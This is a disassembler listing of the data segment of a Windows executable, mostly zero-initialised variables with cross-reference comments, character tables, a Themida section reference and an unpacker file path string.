dword_43AC78	dd 0			; DATA XREF: sub_4023A7+ECr
					; sub_4023A7+109r ...
dword_43AC7C	dd 0			; DATA XREF: sub_40981F+9ADw
					; sub_40981F+A10r ...
dword_43AC80	dd 0			; DATA XREF: sub_40981F+354w
					; sub_40981F+3A9r ...
dword_43AC84	dd 0			; DATA XREF: sub_40981F+3F1w
					; sub_40B8D8+11Er
dword_43AC88	dd 0			; DATA XREF: sub_40981F+361w
					; sub_40981F+3B1r ...
dword_43AC8C	dd 0			; DATA XREF: sub_40981F+3A2w
					; sub_40DCE6+ADr
dword_43AC90	dd 0			; DATA XREF: sub_405AF2+115r
					; sub_4084B3+7Dr ...
dword_43AC94	dd 0			; DATA XREF: sub_40981F+72w
					; sub_40981F+D2r ...
dword_43AC98	dd 0			; DATA XREF: sub_40981F+95Fw
					; sub_40981F+9DBr ...
dword_43AC9C	dd 0			; DATA XREF: sub_40981F+388w
					; sub_40981F+3C9r ...
dword_43ACA0	dd 0			; DATA XREF: sub_40981F+83Bw
					; sub_40981F+88Er ...
dword_43ACA4	dd 0			; DATA XREF: sub_408C26+58r
					; sub_40981F+2A5w ...
dword_43ACA8	dd 0			; DATA XREF: sub_40981F+82Ew
					; sub_40981F+886r ...
dword_43ACAC	dd 0			; DATA XREF: sub_40981F+B3w
dword_43ACB0	dd 0			; DATA XREF: sub_40981F+848w
					; sub_40981F+896r ...
dword_43ACB4	dd 0			; DATA XREF: sub_407BDE+7Er
					; sub_40981F+52Fw ...
dword_43ACB8	dd 0			; DATA XREF: sub_40981F+58w
					; sub_40981F+CAr ...
dword_43ACBC	dd 0			; DATA XREF: sub_40981F+916w
					; sub_40AF86+11Ar
dword_43ACC0	dd 0			; DATA XREF: sub_40981F+A66w
					; sub_40981F+A6Dr ...
dword_43ACC4	dd 0			; DATA XREF: sub_40981F+A6w
					; sub_40981F+F2r
dword_43ACC8	dd 0			; DATA XREF: sub_4085B3+119r
					; sub_40981F+462w ...
dword_43ACCC	dd 0			; DATA XREF: sub_4075E6+20r
					; sub_40981F+5D8w
dword_43ACD0	dd 0			; DATA XREF: sub_40981F+9A0w
					; sub_40981F+A08r
dword_43ACD4	dd 0			; DATA XREF: sub_402688+280r
					; sub_40981F+5CBw ...
dword_43ACD8	dd 0			; DATA XREF: sub_402ACC+9Ar
					; sub_40981F+B21w
dword_43ACDC	dd 0			; DATA XREF: sub_40981F+7E0w
					; sub_40981F+84Fr ...
dword_43ACE0	dd 0			; DATA XREF: sub_40981F+1B3w
					; sub_40AC20+15r
dword_43ACE4	dd 0			; DATA XREF: sub_40981F+979w
					; sub_40981F+9F0r ...
dword_43ACE8	dd 0			; DATA XREF: sub_40981F+36Ew
					; sub_40981F+3B9r ...
dword_43ACEC	dd 0			; DATA XREF: sub_40981F+37Bw
					; sub_40981F+3C1r ...
dword_43ACF0	dd 0			; DATA XREF: sub_4087EE+28r
					; sub_4089E7+2Br ...
dword_43ACF4	dd 0			; DATA XREF: sub_40981F+68Ew
					; ___:00415550r
dword_43ACF8	dd 0			; DATA XREF: sub_4010B5:loc_4013E0r
					; sub_401A76:loc_401D1Cr ...
dword_43ACFC	dd 0			; DATA XREF: sub_4085B3+207r
					; sub_40981F+496w
dword_43AD00	dd 0			; DATA XREF: sub_40981F+9C7w
					; sub_40981F+A20r ...
dword_43AD04	dd 0			; DATA XREF: sub_40981F+2B2w
					; sub_40981F+2DEr ...
dword_43AD08	dd 0			; DATA XREF: sub_40981F+7Fw
					; sub_40981F+DAr ...
dword_43AD0C	dd 0			; DATA XREF: sub_40981F+B6Ew
					; sub_40981F+B75r ...
dword_43AD10	dd 0			; DATA XREF: sub_4010B5+2Fr
					; sub_401A76+2Fr ...
dword_43AD14	dd 0			; DATA XREF: sub_40981F+807w
					; sub_40981F+872r ...
dword_43AD18	dd 0			; DATA XREF: sub_40981F+986w
					; sub_40981F+9F8r
dword_43AD1C	dd 0			; DATA XREF: sub_40981F+BDFw
					; sub_40981F+C10r
dword_43AD20	dd 0			; DATA XREF: sub_4023A7+40r
					; sub_4023A7+63r ...
dword_43AD24	dd 0			; DATA XREF: sub_40981F+8FCw
					; sub_40981F+910r ...
dword_43AD28	dd 0			; DATA XREF: sub_40981F+BF9w
dword_43AD2C	dd 0			; DATA XREF: sub_4010B5:loc_4013AAr
					; sub_40144A+3Cr ...
dword_43AD30	dd 0			; DATA XREF: sub_40981F+821w
					; sub_40981F+855r
dword_43AD34	dd 0			; DATA XREF: sub_4023A7+50r
					; sub_4023A7+78r ...
dword_43AD38	dd 0			; DATA XREF: sub_4087EE+3Fr
					; sub_4087EE+69r ...
dword_43AD3C	dd 0			; DATA XREF: sub_40981F+65Aw
					; sub_40981F+786r ...
dword_43AD40	dd 0			; DATA XREF: sub_402DD7+20Ar
					; sub_4030E8+5Er ...
dword_43AD44	dd 0			; DATA XREF: sub_402688+16Er
					; sub_40981F+549w ...
dword_43AD48	dd 0			; DATA XREF: sub_40981F+8BDw
					; sub_40981F:loc_40A0FAw ...
dword_43AD4C	dd 0			; DATA XREF: sub_40981F+28Bw
					; sub_40981F+2C6r ...
dword_43AD50	dd 0			; DATA XREF: ___:00407DFEr
					; sub_40981F+681w ...
dword_43AD54	dd 0			; DATA XREF: sub_40981F+30Fw
					; sub_40981F+323r ...
dword_43AD58	dd 0			; DATA XREF: sub_40981F+395w
					; sub_40981F+3D1r ...
dword_43AD5C	dd 0			; DATA XREF: sub_40981F+BD2w
					; sub_40981F+C08r
dword_43AD60	dd 0			; DATA XREF: sub_40981F+7FAw
					; sub_40981F+86Ar ...
dword_43AD64	dd 0			; DATA XREF: sub_4023A7+FCr
					; sub_40981F+206w ...
dword_43AD68	dd 0			; DATA XREF: sub_40981F+18Cw
					; sub_40981F+1D2r ...
dword_43AD6C	dd 0			; DATA XREF: sub_40981F+814w
					; sub_40981F+87Ar ...
dword_43AD70	dd 0			; DATA XREF: sub_406C19+244r
					; sub_40981F+606w ...
dword_43AD74	dd 0			; DATA XREF: sub_408C26+18Ar
					; sub_40981F+2BFw ...
dword_43AD78	dd 0			; DATA XREF: sub_4010B5+6Fr
					; sub_40144A+AAr ...
dword_43AD7C	dd 0			; DATA XREF: sub_40981F+302w
					; sub_40981F+316r ...
dword_43AD80	dd 0			; DATA XREF: sub_405AF2+F9r
					; sub_406C19+1FCr ...
dword_43AD84	dd 0			; DATA XREF: sub_4085B3+16r
					; sub_40981F+42Ew ...
dword_43AD88	dd 0			; DATA XREF: sub_40981F+199w
					; sub_40981F+1DAr ...
dword_43AD8C	dd 0			; DATA XREF: sub_40981F+347w
					; sub_40981F+39Cr ...
dword_43AD90	dd 0			; DATA XREF: sub_40981F+A73w
dword_43AD94	dd 0			; DATA XREF: sub_4010B5+EBr
					; sub_4010B5+1F9r ...
dword_43AD98	dd 0			; DATA XREF: sub_4010B5+87r
					; sub_4010B5+9Dr ...
dword_43AD9C	dd 0			; DATA XREF: sub_40981F+4Bw
					; sub_40981F+C2r ...
dword_43ADA0	dd 0			; DATA XREF: sub_4085B3+2Cr
					; sub_4085B3+38r ...
dword_43ADA4	dd 0			; DATA XREF: sub_40981F+165w
					; sub_40981F+1BAr ...
dword_43ADA8	dd 0			; DATA XREF: sub_40981F+9E1w
					; sub_40E5EB+72r
dword_43ADAC	dd 0			; DATA XREF: sub_40981F+667w
					; sub_40981F+78Er
dword_43ADB0	dd 0			; DATA XREF: sub_402688+205r
					; sub_402DD7+23Br ...
dword_43ADB4	dd 0			; DATA XREF: sub_40981F+BECw
					; sub_40981F+C18r
dword_43ADB8	dd 0			; DATA XREF: sub_40981F+3Ew
					; sub_40981F+BAr ...
dword_43ADBC	dd 0			; DATA XREF: sub_40981F+298w
					; sub_40981F+2CEr ...
dword_43ADC0	dd 0			; DATA XREF: sub_405AF2+9Er
					; sub_407BDE+9Cr ...
dword_43ADC4	dd 0			; DATA XREF: sub_402688+EBr
					; sub_405AF2+89r ...
dword_43ADC8	dd 0			; DATA XREF: sub_40981F+C63w
					; sub_40EE72+4624r
dword_43ADCC	dd 0			; DATA XREF: sub_40981F+85Bw
					; sub_40BC4B+205r ...
dword_43ADD0	dd 0			; DATA XREF: sub_40981F+112w
dword_43ADD4	dd 0			; DATA XREF: sub_40981F+BB8w
					; sub_40981F+BF3r
dword_43ADD8	dd 0			; DATA XREF: sub_40144A+119r
					; sub_40144A+1A0r ...
dword_43ADDC	dd 0			; DATA XREF: sub_4085B3+BCr
					; sub_40981F+43Bw ...
dword_43ADE0	dd 0			; DATA XREF: sub_4085B3+FBr
					; sub_40981F+47Cw ...
dword_43ADE4	dd 0			; DATA XREF: sub_4085B3+65r
					; sub_40981F+448w ...
dword_43ADE8	dd 0			; DATA XREF: sub_402DD7+221r
					; sub_402DD7+249r ...
dword_43ADEC	dd 0			; DATA XREF: sub_40981F+1A6w
					; sub_40981F+1E2r ...
dword_43ADF0	dd 0			; DATA XREF: sub_40981F+9D4w
					; sub_40981F+A28r ...
dword_43ADF4	dd 0			; DATA XREF: sub_4087EE+53r
					; sub_4087EE+7Fr ...
dword_43ADF8	dd 0			; DATA XREF: sub_40981F+8Cw
					; sub_40981F+E2r ...
dword_43ADFC	dd 0			; DATA XREF: sub_4010B5+2C2r
					; sub_40144A+2DAr ...
dword_43AE00	dd 0			; DATA XREF: sub_40981F+B14w
					; sub_40981F+B30r
dword_43AE04	dd 0			; DATA XREF: sub_40981F+31Cw
					; sub_41511F+55r
dword_43AE08	dd 0			; DATA XREF: sub_408C26+3Fr
					; sub_40981F+27Ew ...
dword_43AE0C	dd 0			; DATA XREF: sub_40981F+B7Bw
dword_43AE10	dd 0			; DATA XREF: sub_40981F+ABDw
					; sub_40AE02+CEr
dword_43AE14	dd 0			; DATA XREF: sub_40981F+AB0w
					; sub_40981F+AB7r ...
dword_43AE18	dd 0			; DATA XREF: sub_40144A+2Er
					; sub_401D82+55r ...
dword_43AE1C	dd 0			; DATA XREF: ___:00407DEEr
					; sub_40981F+674w ...
dword_43AE20	dd 0			; DATA XREF: sub_40981F+BC5w
					; sub_40981F+C00r
dword_43AE24	dd 0			; DATA XREF: sub_402688+28Dr
					; sub_406C19+250r ...
dword_43AE28	dd 0			; DATA XREF: sub_40981F+993w
					; sub_40981F+A00r ...
dword_43AE2C	dd 0			; DATA XREF: sub_405AF2+13Ar
					; sub_407BDE+B3r ...
dword_43AE30	dd 0			; DATA XREF: sub_4010B5+324r
					; sub_40144A+2F0r ...
dword_43AE34	dd 0			; DATA XREF: sub_405AF2+B7r
					; sub_405AF2+39Fr ...
dword_43AE38	dd 0			; DATA XREF: sub_4029E9+B0r
					; sub_4029E9+C8r ...
dword_43AE3C	dd 0			; DATA XREF: sub_4010B5+4Fr
					; sub_401A76+4Fr ...
dword_43AE40	dd 0			; DATA XREF: sub_40981F+AFAw
					; sub_40981F+B1Br
dword_43AE44	dd 0			; DATA XREF: sub_40981F+31w
					; sub_40981F+ADr ...
dword_43AE48	dd 0			; DATA XREF: sub_4087EE+1ECr
					; sub_4089E7+232r ...
		align 10h
dword_43AE50	dd 0			; DATA XREF: sub_40981F+909w
					; sub_40981F+91Dr ...
dword_43AE54	dd 0			; DATA XREF: sub_40981F+99w
					; sub_40981F+EAr ...
dword_43AE58	dd 0			; DATA XREF: sub_40981F:loc_40991Dw
					; sub_40981F+12Bw ...
dword_43AE5C	dd 0			; DATA XREF: sub_40981F+126w
					; sub_40A4AC+1Cr
dword_43AE60	dd 0			; DATA XREF: sub_40981F:loc_409A0Dw
					; sub_40981F:loc_409A74w ...
dword_43AE64	dd 0			; DATA XREF: sub_40981F+250w
					; sub_40A4AC+50r
dword_43AE68	dd 0			; DATA XREF: sub_40981F:loc_409B09w
					; sub_40981F:loc_409B4Ew ...
dword_43AE6C	dd 0			; DATA XREF: sub_40981F+400w
					; sub_40A4AC+84r
dword_43AE70	dd 0			; DATA XREF: sub_40981F:loc_409D05w
					; sub_40A4AC:loc_40A55Cr
dword_43AE74	dd 0			; DATA XREF: sub_40981F+4E1w
					; sub_40A4AC+B8r
dword_43AE78	dd 0			; DATA XREF: sub_40981F:loc_409FD6w
					; sub_40A4AC:loc_40A590r
dword_43AE7C	dd 0			; DATA XREF: sub_40981F+7B2w
					; sub_40A4AC+ECr
dword_43AE80	dd 0			; DATA XREF: sub_40981F:loc_40A0C1w
					; sub_40981F+8D1w ...
dword_43AE84	dd 0			; DATA XREF: sub_40981F+8CCw
					; sub_40A4AC+120r
dword_43AE88	dd 0			; DATA XREF: sub_40981F:loc_40A155w
					; sub_40A4AC:loc_40A5F8r ...
dword_43AE8C	dd 0			; DATA XREF: sub_40981F+931w
					; sub_40A4AC+154r
dword_43AE90	dd 0			; DATA XREF: sub_40981F:loc_40A260w
					; sub_40A4AC:loc_40A62Cr ...
dword_43AE94	dd 0			; DATA XREF: sub_40981F+A3Cw
					; sub_40A4AC+188r
dword_43AE98	dd 0			; DATA XREF: sub_40981F:loc_40A2AAw
					; sub_40A4AC:loc_40A660r
dword_43AE9C	dd 0			; DATA XREF: sub_40981F+A86w
					; sub_40A4AC+1BCr
dword_43AEA0	dd 0			; DATA XREF: sub_40981F:loc_40A2F4w
					; sub_40A4AC:loc_40A694r
dword_43AEA4	dd 0			; DATA XREF: sub_40981F+AD0w
					; sub_40A4AC+1F0r
dword_43AEA8	dd 0			; DATA XREF: sub_40981F:loc_40A368w
					; sub_40A4AC:loc_40A6C8r
dword_43AEAC	dd 0			; DATA XREF: sub_40981F+B44w
					; sub_40A4AC+224r
dword_43AEB0	dd 0			; DATA XREF: sub_40981F:loc_40A3B2w
					; sub_40A4AC:loc_40A6FCr
dword_43AEB4	dd 0			; DATA XREF: sub_40981F+B8Ew
					; sub_40A4AC+258r
dword_43AEB8	dd 0			; DATA XREF: sub_40981F:loc_40A450w
					; sub_40A4AC:loc_40A730r
dword_43AEBC	dd 0			; DATA XREF: sub_40981F+C2Cw
					; sub_40A4AC+28Cr
dword_43AEC0	dd 0			; DATA XREF: sub_40981F:loc_40A49Aw
					; sub_40A4AC:loc_40A764r
dword_43AEC4	dd 0			; DATA XREF: sub_40981F+C76w
					; sub_40A4AC+2C0r
dword_43AEC8	dd 81h dup(0)		; DATA XREF: sub_40AA35+6Ao
dword_43B0CC	dd 5 dup(0)		; DATA XREF: sub_40AEE0+32o
dword_43B0E0	dd 0			; DATA XREF: sub_40B328:loc_40B349r
					; sub_40B417+54r ...
dword_43B0E4	dd 0			; DATA XREF: sub_40B328r
					; sub_40B417+37r ...
dword_43B0E8	dd 0			; DATA XREF: sub_40B358+1Ar
					; sub_40B56C+83o
dword_43B0EC	dd 0			; DATA XREF: sub_40B328:loc_40B33Cr
					; sub_40B56C+11Bw
dword_43B0F0	dd 0Dh dup(0)		; DATA XREF: sub_40B417+13o
					; sub_40B56C:loc_40B6A9o
dword_43B124	dd 0			; DATA XREF: sub_40B417+CDr
					; sub_40B417+ECr ...
		dd 0
dword_43B12C	dd 0Eh dup(0)		; DATA XREF: sub_40B721+47o
dword_43B164	dd 1000h dup(0)		; DATA XREF: sub_40BF6D+1Do
					; sub_40C00Do ...
dword_43F164	dd 0			; DATA XREF: sub_40BF6D+13o
					; sub_40C00D+Eo ...
dword_43F168	dd 0Eh dup(0)		; DATA XREF: sub_40D01A+Fo
dword_43F1A0	dd 2 dup(0)		; DATA XREF: sub_40D3A5+C8o
dword_43F1A8	dd 17h dup(0)		; DATA XREF: sub_40D835:loc_40D952o
					; sub_40D835+131o ...
dword_43F204	dd 80h dup(0)		; DATA XREF: sub_40E5EB+7Co
					; sub_40E5EB+A5o
dword_43F404	dd 0			; DATA XREF: sub_40DBB0+45w
					; sub_40DBB0+4Dr ...
dword_43F408	dd 17h dup(0)		; DATA XREF: sub_40E4B7:loc_40E5D9o
					; sub_40E4B7+12Do
dword_43F464	dd 80h dup(0)		; DATA XREF: sub_40DAF0+4Co
					; sub_40DAF0+7Eo ...
byte_43F664	db 0			; DATA XREF: sub_40DBB0+29r
					; sub_40DBB0+34w
		align 4
dword_43F668	dd 80h dup(0)		; DATA XREF: sub_40DE07+61o
					; sub_40DE07+89o ...
dword_43F868	dd 82h dup(0)		; DATA XREF: sub_40D719:loc_40D751o
					; sub_40D719+5Bo
dword_43FA70	dd 0			; DATA XREF: sub_40BE75+Ao
					; sub_40BE75+44r ...
		dd 5 dup(0)
dword_43FA88	dd 0			; DATA XREF: sub_40BE75+60r
					; sub_40EE72+BD6r
		dd 2D9h	dup(0)
dword_4405F0	dd 0			; DATA XREF: sub_407767+A8r
					; sub_40BE75+2Do ...
		dd 7Fh dup(0)
dword_4407F0	dd 0			; DATA XREF: sub_416D5C+41w
					; sub_416E97+40w ...
dword_4407F4	dd 0			; DATA XREF: sub_4060D0+23Bw
					; sub_407767:loc_4077AEr ...
dword_4407F8	dd 0			; DATA XREF: sub_40B56C+164w
					; sub_416810+AEw ...
dword_4407FC	dd 0			; DATA XREF: sub_402688+E0w
					; sub_405AF2+7Ew ...
dword_440800	dd 0			; DATA XREF: ___:00407E84w
					; ___:00407FA0r ...
dword_440804	dd 0			; DATA XREF: sub_4060D0+268w
					; sub_407252+122w ...
byte_440808	db 0			; DATA XREF: sub_40EB92+91o
					; sub_40EE72+3357r ...
		align 4
		dd 13D1h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:off_42A2D0o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:0042CCA8o
dword_450050	dd 10003h dup(0)
dword_49005C	dd 102h	dup(0)		; DATA XREF: ___:off_427B6Co
		db 3 dup(0)
byte_490467	db 0			; DATA XREF: Themida_:loc_549B9Fo
		dd 0F462h dup(0)
dword_4CD5F0	dd 0			; DATA XREF: sub_407110:loc_40717Er
					; ___:0040E6E3w ...
		align 8
dword_4CD5F8	dd 0			; DATA XREF: ___:loc_40EAA4o
dword_4CD5FC	dd 20h dup(0)		; DATA XREF: ___:0040EA3Co
					; ___:0040EAF5o ...
dword_4CD67C	dd 10h dup(0)		; DATA XREF: ___:0040EA53o
					; sub_40EE72+929o
dword_4CD6BC	dd 24h dup(0)		; DATA XREF: ___:0040EA6Ao
dword_4CD74C	dd 0			; DATA XREF: ___:0040EA5Ew
					; ___:0040EB0Cw ...
dword_4CD750	dd 0			; DATA XREF: ___:0040EA7Dw
		align 10h
dword_4CD760	dd 0			; DATA XREF: sub_40EB92+72r
					; sub_40EE72+273r
		align 8
byte_4CD768	db 0			; DATA XREF: sub_40ECFA+28r
					; sub_40ECFA+30o
		align 4
dword_4CD76C	dd 0			; DATA XREF: ___:0040EAA9w
					; ___:0040EAC0r ...
dword_4CD770	dd 0			; DATA XREF: ___:0040EA41w
					; sub_40EE72+8CAr
		dd 2 dup(0)
dword_4CD77C	dd 0			; DATA XREF: ___:004155C6r
		dd 0
dword_4CD784	dd 1Bh dup(0)		; DATA XREF: sub_415D6A+8Do
dword_4CD7F0	dd 0			; DATA XREF: sub_416FA4+16o
					; sub_416FC3+19o
dword_4CD7F4	dd 65h dup(0)		; DATA XREF: sub_416F57+3Do
byte_4CD988	db 0			; DATA XREF: sub_416C55+6Ar
					; sub_416C55+98w
		align 4
		dd 2 dup(0)
dword_4CD994	dd 0			; DATA XREF: sub_417D73+Aw
dword_4CD998	dd 0			; DATA XREF: sub_4186B1+5Er
					; sub_4186B1+A4w
		align 10h
word_4CD9A0	dw 0			; DATA XREF: sub_4186B1+55r
					; sub_4186B1+9Ao
word_4CD9A2	dw 0			; DATA XREF: sub_4186B1+48r
		db 2 dup(0)
word_4CD9A6	dw 0			; DATA XREF: sub_4186B1+3Br
word_4CD9A8	dw 0			; DATA XREF: sub_4186B1+2Er
word_4CD9AA	dw 0			; DATA XREF: sub_4186B1+21r
		align 10h
dword_4CD9B0	dd 0			; DATA XREF: sub_418B6E+3Br
					; sub_418B6E+91w
dword_4CD9B4	dd 0			; DATA XREF: sub_418833+1B9w
					; sub_418D0E:loc_418D8Aw ...
dword_4CD9B8	dd 0			; DATA XREF: sub_4197F9+35w
					; sub_41A6B7:loc_41A751w ...
dword_4CD9BC	dd 0			; DATA XREF: sub_41FEC6+13Ar
		dd 0A28h, 501h,	5, 1
dword_4CD9D0	dd 1			; DATA XREF: ___:loc_40E98Cr
					; ___:0041F2D1w
dword_4CD9D4	dd 2420B30h		; DATA XREF: ___:0040E995r
					; ___:0040E9B5r ...
		dd 0
dword_4CD9DC	dd 2420B58h		; DATA XREF: ___:0041F1CBw
					; sub_421DAE+9r ...
dword_4CD9E0	dd 0			; DATA XREF: sub_422492+36r
dword_4CD9E4	dd 0			; DATA XREF: sub_421DAE+16r
					; sub_42217C+4r ...
		dd 0
off_4CD9EC	dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4CD9F4	db 0			; DATA XREF: sub_419B07+2Dw
					; sub_41FAE7+5r
		align 4
dword_4CD9F8	dd 0			; DATA XREF: sub_419B07+27w
dword_4CD9FC	dd 0			; DATA XREF: sub_419B07+4r
					; sub_419B07+8Bw
dword_4CDA00	dd 0			; DATA XREF: ___:loc_41F199r
					; ___:loc_41F1DBr ...
		align 8
dword_4CDA08	dd 0			; DATA XREF: sub_419CDAr sub_41F84Cr ...
dword_4CDA0C	dd 0			; DATA XREF: sub_41A8A2+37r
		dd 0
dword_4CDA14	dd 0			; DATA XREF: sub_417B89r
					; sub_41944F:loc_41956Br ...
dword_4CDA18	dd 0			; DATA XREF: sub_41AB54r
dword_4CDA1C	dd 0			; DATA XREF: sub_41BA22+4Bw
					; sub_41BB3B+2Dw ...
dword_4CDA20	dd 0			; DATA XREF: sub_41C96D+11r
					; sub_41CA71+1Ar ...
byte_4CDA24	db 0			; DATA XREF: sub_41C96D+3r
					; sub_41C96D+98r ...
		align 4
dword_4CDA28	dd 0			; DATA XREF: sub_41CA71+11r
					; sub_41CB4F+21w ...
byte_4CDA2C	db 0			; DATA XREF: sub_41CB4F+51w
		align 10h
dword_4CDA30	dd 0			; DATA XREF: sub_41CD45+4Er
					; sub_41D120+3Ar ...
dword_4CDA34	dd 0			; DATA XREF: sub_41CD45+5Cr
					; sub_41D120+43r ...
dword_4CDA38	dd 0			; DATA XREF: sub_417FFA+7Ar
					; sub_41CEEC+5r
dword_4CDA3C	dd 0			; DATA XREF: sub_41D4FC+29r
dword_4CDA40	dd 2 dup(0)		; DATA XREF: sub_418790+Co
dword_4CDA48	dd 0			; DATA XREF: sub_419063+4r
					; sub_419063+6Er ...
		dd 3 dup(0)
dword_4CDA58	dd 0			; DATA XREF: sub_4199B9+61r
					; sub_4199B9+BFr ...
		align 10h
dword_4CDA60	dd 1			; DATA XREF: sub_41E709+28r
					; sub_41E709+4Cw ...
dword_4CDA64	dd 1			; DATA XREF: sub_41E92D:loc_41EAA8r
					; sub_41EAC6+4w ...
dword_4CDA68	dd 0			; DATA XREF: ___:0041EFE5r
					; ___:0041EFF1w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o
					; ___:off_4CD9ECo
		align 4
		dd 3Ah dup(0)
dword_4CDB70	dd 1			; DATA XREF: ___:0041F48Fr
					; ___:0041F4B0w ...
dword_4CDB74	dd 0			; DATA XREF: sub_41F84C+21r
dword_4CDB78	dd 0			; DATA XREF: sub_41A8A2:loc_41A8CBw
					; sub_41A96C+154w ...
dword_4CDB7C	dd 1			; DATA XREF: sub_41FB63+26r
					; sub_41FB63:loc_41FBCDw
dword_4CDB80	dd 0			; DATA XREF: sub_41A96C+7r
		align 8
word_4CDB88	dw 0			; DATA XREF: sub_42074B+1Ao
					; sub_42074B+46r
byte_4CDB8A	db 0			; DATA XREF: sub_42074B+39r
		align 4
dword_4CDB8C	dd 7 dup(0)		; DATA XREF: sub_42074B+52o
dword_4CDBA8	dd 0			; DATA XREF: sub_42074B+40w
					; sub_42074B+5Co
dword_4CDBAC	dd 0			; DATA XREF: sub_42074B+4Dw
dword_4CDBB0	dd 0			; DATA XREF: sub_42074B+31w
dword_4CDBB4	dd 0			; DATA XREF: sub_42074B+52w
dword_4CDBB8	dd 77C26E79h		; DATA XREF: sub_42086E:loc_420891r
					; sub_42086E+38r
		align 10h
dword_4CDBC0	dd 0			; DATA XREF: sub_42094E+11w
					; sub_42094E+63w ...
		align 8
dword_4CDBC8	dd 0			; DATA XREF: sub_42094E+33o
					; sub_42094E+46r
dword_4CDBCC	dd 10h dup(0)		; DATA XREF: sub_42094E+C1o
word_4CDC0C	dw 0			; DATA XREF: sub_420BAC+A8r
word_4CDC0E	dw 0			; DATA XREF: sub_42094E+54r
					; sub_420BAC+DBr ...
word_4CDC10	dw 0			; DATA XREF: sub_420BAC+CAr
word_4CDC12	dw 0			; DATA XREF: sub_420BAC+D3r
					; sub_420BAC:loc_420C9Er
word_4CDC14	dw 0			; DATA XREF: sub_420BAC+C0r
word_4CDC16	dw 0			; DATA XREF: sub_420BAC+B8r
word_4CDC18	dw 0			; DATA XREF: sub_420BAC+B0r
word_4CDC1A	dw 0			; DATA XREF: sub_420BAC+9Er
dword_4CDC1C	dd 0			; DATA XREF: sub_42094E+4Br
dword_4CDC20	dd 10h dup(0)		; DATA XREF: sub_42094E+FBo
word_4CDC60	dw 0			; DATA XREF: sub_420BAC+46r
word_4CDC62	dw 0			; DATA XREF: sub_42094E:loc_4209C5r
					; sub_420BAC+78r ...
word_4CDC64	dw 0			; DATA XREF: sub_420BAC+67r
word_4CDC66	dw 0			; DATA XREF: sub_420BAC+70r
					; sub_420BAC:loc_420C30r
word_4CDC68	dw 0			; DATA XREF: sub_420BAC+5Dr
word_4CDC6A	dw 0			; DATA XREF: sub_420BAC+55r
word_4CDC6C	dw 0			; DATA XREF: sub_420BAC+4Dr
word_4CDC6E	dw 0			; DATA XREF: sub_420BAC+3Er
dword_4CDC70	dd 0			; DATA XREF: sub_42094E+80r
dword_4CDC74	dd 0			; DATA XREF: sub_42094E+132r
					; sub_42094E:loc_420A9Ar ...
dword_4CDC78	dd 0			; DATA XREF: sub_420939r sub_420939+Ew
dword_4CDC7C	dd 0			; DATA XREF: sub_42105F+3r
					; sub_42105F+2Ew ...
dword_4CDC80	dd 0			; DATA XREF: sub_42105F+43w
					; sub_42105F:loc_4210AEr
dword_4CDC84	dd 0			; DATA XREF: sub_42105F+4Aw
					; sub_42105F+60r
dword_4CDC88	dd 0			; DATA XREF: sub_41FEC6+3Fr
dword_4CDC8C	dd 0			; DATA XREF: sub_421C3C:loc_421CA3r
					; sub_421C3C+6Do
dword_4CDC90	dd 0			; DATA XREF: sub_421C3C:loc_421C7Ar
					; sub_421C3C+44o
dword_4CDC94	dd 0			; DATA XREF: sub_421C3C:loc_421C6Dr
					; sub_421C3C+37o
dword_4CDC98	dd 0			; DATA XREF: sub_421C3C:loc_421C87r
					; sub_421C3C+51o
		align 10h
dword_4CDCA0	dd 0			; DATA XREF: sub_4221EA+28r
					; sub_4221EA+48w ...
dword_4CDCA4	dd 0			; DATA XREF: sub_422C78+28r
					; sub_422C78+4Cw ...
dword_4CDCA8	dd 0			; DATA XREF: sub_422F03+26r
					; sub_422F03:loc_422F6Dw
byte_4CDCAC	db 0			; DATA XREF: sub_40482Cr sub_40482C+9w
		align 10h
dword_4CDCB0	dd 2421140h		; DATA XREF: sub_41A835:loc_41A846r
					; sub_41AADC+14r ...
		align 10h
dword_4CDCC0	dd 400h	dup(0)		; DATA XREF: ___:off_436388o
					; ___:00436390o
dword_4CECC0	dd 200h			; DATA XREF: sub_41A835+9r
					; sub_41A835+56r ...
		dd 7 dup(0)
dword_4CECE0	dd 2420650h		; DATA XREF: sub_419D23+B1r
					; sub_41E248+75r ...
dword_4CECE4	dd 3Fh dup(0)		; DATA XREF: ___:0041F651o
dword_4CEDE0	dd 20h			; DATA XREF: sub_41A6B7+8r
					; sub_41E321+Cr ...
dword_4CEDE4	dd 4E4h			; DATA XREF: sub_41E92D+14r
					; sub_41E92D+65w ...
		align 10h
dword_4CEDF0	dd 3 dup(0)		; DATA XREF: sub_41E92D+123o
					; sub_41E92D+171o ...
dword_4CEDFC	dd 0			; DATA XREF: sub_41E92D+108w
					; sub_41E92D+15Dw ...
byte_4CEE00	db 0			; DATA XREF: sub_41EB6C:loc_41EC78w
					; sub_41EB6C:loc_41EC95w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4CEF00	db 0			; DATA XREF: sub_41E92D+5Co
					; sub_41E92D+AFo ...
byte_4CEF01	db 0			; DATA XREF: sub_4192B8+5Dr
					; sub_41E92D+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
